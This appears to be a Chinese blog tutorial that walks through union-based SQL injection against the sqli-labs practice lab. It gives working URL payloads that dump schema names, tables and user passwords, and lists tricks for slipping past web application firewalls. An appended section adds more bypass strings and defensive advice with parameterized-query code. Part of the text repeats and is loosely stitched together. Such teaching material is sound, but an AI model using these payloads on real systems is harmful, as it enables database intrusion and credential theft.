SQL注入学习之初识注入bypass(六)

本文介绍了在MySQL中利用Sqli-Labs进行注入技巧的学习,包括利用报错判断语句结构、联合注入、列数判断和绕过安全限制。重点演示了第一关实例,并讲解了如何通过order by、group_concat等函数进行信息泄露和数据获取。

0x00 简介

在MySQL里面注入和搭建环境来其实差不多,推荐使用sqli-labs来练练手,网上一堆的方法也是我们从学以来用到的

加引号 报错 and 1=1 and 1=2 然后SQLmap 一丢有waf就凉凉,可能and的时候就凉了,所以手工是也算个必修课吧。

直接用 and 1=1 一类的多属于 数字型注入 select * from admin where id = $id; 被包裹起来的就不行的,所以
一般要看报错的语句,当然也不是加个引号没报错就没了,具体分很多情况的。(废话多了点顺便讲清楚吧)

0x01 第一个注入

and 是一个逻辑符号 要求两边同时成立,所以and 这边是什么可以尽情发挥大家的才能 比如 and true=1 ?,为什么要这么写,因为某狗判断的就是 and 这边的字符类型
大家可以去了解了解 MySQL隐式转化。

mysql> select * from users where id = "1" and 1=1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id = "1" and 1=2;
Empty set (0.00 sec)

说了这么多我们就拿sqli-labs的第一关来演示一下

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9WOiyoxh-1643851326034)(./img/1.6.1.png)]

看到报错语句

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

其中''1'' LIMIT 0,1' 最外层的是它出错给你的字符串不用看,所以为'1'' LIMIT 0,1 应为我们的单引号没闭合所以造成了出错 同时知道了 它的后面有个 LIMIT 0,1 所以反推大概的语句为 select x,x from xxx where x='id' limit 0,1 看到报错信息我们应该要能反推它的语句,有利于我们进一步注入,下面使用联合注入。

首先都是老套路 order by xx 来判断它的列数,因为 order by 是根据列来排序的 (排序第几列)

http://127.0.0.1/sqli/Less-1/?id=-2' union select 1,schema_name,3 from information_schema.schemata limit 2,1 -- +

通过limit 0,1来控制前端的显位的数据(从第0条取一条) 如果是过滤逗号 。 想用分页可以使用 1 offset 1 意思是从第1条开始选一条当然还有join分页这些都在后面讲了。

http://127.0.0.1/sqli/Less-1/?id=-2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' -- +

当然你想直接爆当前的库的表 不妨这样写 table_schema=database() 为了避免单引号你也可以使用hex后的数据 table_schema=0x7365637572697479

使用group_concat() 函数把表名都聚合起来,更加方便。

http://127.0.0.1/sqli/Less-1/?id=-2' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273 -- +

爆出字段

http://127.0.0.1/sqli/Less-1/?id=-2' union select 1,group_concat(username,0x7C,password),3 from users-- +

爆出数据 在 group_concat() 被过滤的情况下我们可以使用其他的来替换 推荐大家查阅mysql 函数表

当我们使用 information_schema.schemata 时被拦截了,我们可以这样绕过


`information_schema`.`schemata `  
information_schema/**/.schemata
information_schema/*!*/.schemata
information_schema%0a.schemata

也有人遇到过这种情况 users表被拦截 怎么绕过呢,其实也一样

security.users 数据库名 加表名

security.`users`

0x02 文末

本文如有错误,请及时提醒,避免误导他人
  • author:404
    ity.users 数据库名 加表名

security.users



# 0x02 文末

#### 本文如有错误,请及时提醒,避免误导他人


### SQL 注入绕过的实现与防御 #### 绕过 SQL 注入防护的技术细节 SQL 注入是一种常见的安全漏洞,攻击者可以通过输入恶意的 SQL 语句来操控数据库。为了绕过 WAF(Web 应用防火墙)或其他防护机制,通常会利用特定数据库特性和编码技巧。 1. **MySQL 特有的注释符** MySQL 支持多种注释形式,其中 `/*` 和 `*/` 是多行注释的一部分。如果 WAF 对某些关键字进行了严格匹配,则可以使用这些注释符来分割敏感字符序列[^1]。例如,在 URL 中构造请求时,可以将 `database()` 替换为 `database/**/()` 来规避检测。 2. **基于数据库管理系统的特性** 针对不同的数据库管理系统(DBMS),其语法和功能有所不同。因此,绕过策略也会因目标 DBMS 而异。核心思想是通过混淆或伪装 SQL 查询结构,使其能够避开 WAF 的过滤规则但仍能被数据库解析并执行[^2]。 3. **自动化工具的应用** 使用现成的安全测试框架如 Sqlmap 可以显著提高效率。Sqlmap 提供了 tamper 功能模块,允许用户自定义脚本来修改原始 payload,从而适应复杂的环境需求[^3]。这使得即使面对高度定制化的 WAF,也能找到潜在的突破口。 4. **具体绕过实例分析** - 利用 `%0a` 字符代替换行操作:当正则表达式中加入了 `/i` 标志表示忽略大小写时,可能遗漏掉一些特殊情况下的转义处理[^4]。比如 `'sql.php?id=1 union%0aselect 1,schema name3%0afrom /!12345information schema.schemata'` 就是一个典型例子。 - 去除冗余括号简化查询字符串:有时直接移除不必要的函数调用也可以达到目的。像这样去掉 `database()` 函数后的效果一样有效——`http://example.com/Less-1/?id=-1'union/*/!*!/*/select1,database,3--+`[^5]。 #### 如何防范 SQL 注入? 尽管上述方法展示了如何突破现有防线,但从长远来看更重要的是构建坚固可靠的防御体系: 1. **参数化查询** 推荐始终采用预编译语句或者存储过程的方式访问后台数据资源。这种方式从根本上杜绝了拼接外部可控变量进入内部逻辑的可能性。 2. **最小权限原则** 确保应用程序使用的数据库账户仅具备完成业务所需最低限度的操作权利。即便发生泄露事件也不会造成灾难性的后果。 3. **白名单验证输入** 实施严格的前端校验固然重要,但更应注重服务端层面的数据清洗工作。只接受预期范围内的值类型及长度限制有助于减少意外情况的发生概率。 4. **定期更新补丁程序** 关注官方发布的最新版本动态及时修补已知缺陷;同时部署专业的入侵检测设备密切监控异常行为模式变化趋势。 ```python # 参数化查询示例代码 import mysql.connector conn = mysql.connector.connect(user='root', password='', host='localhost', database='testdb') cursor = conn.cursor() query = ("SELECT * FROM users WHERE username=%s AND password=%s") username_input = input("Enter your Username:") password_input = input("Enter your Password:") cursor.execute(query, (username_input, password_input)) result = cursor.fetchall() print(result) ```
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

网络安全进阶

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值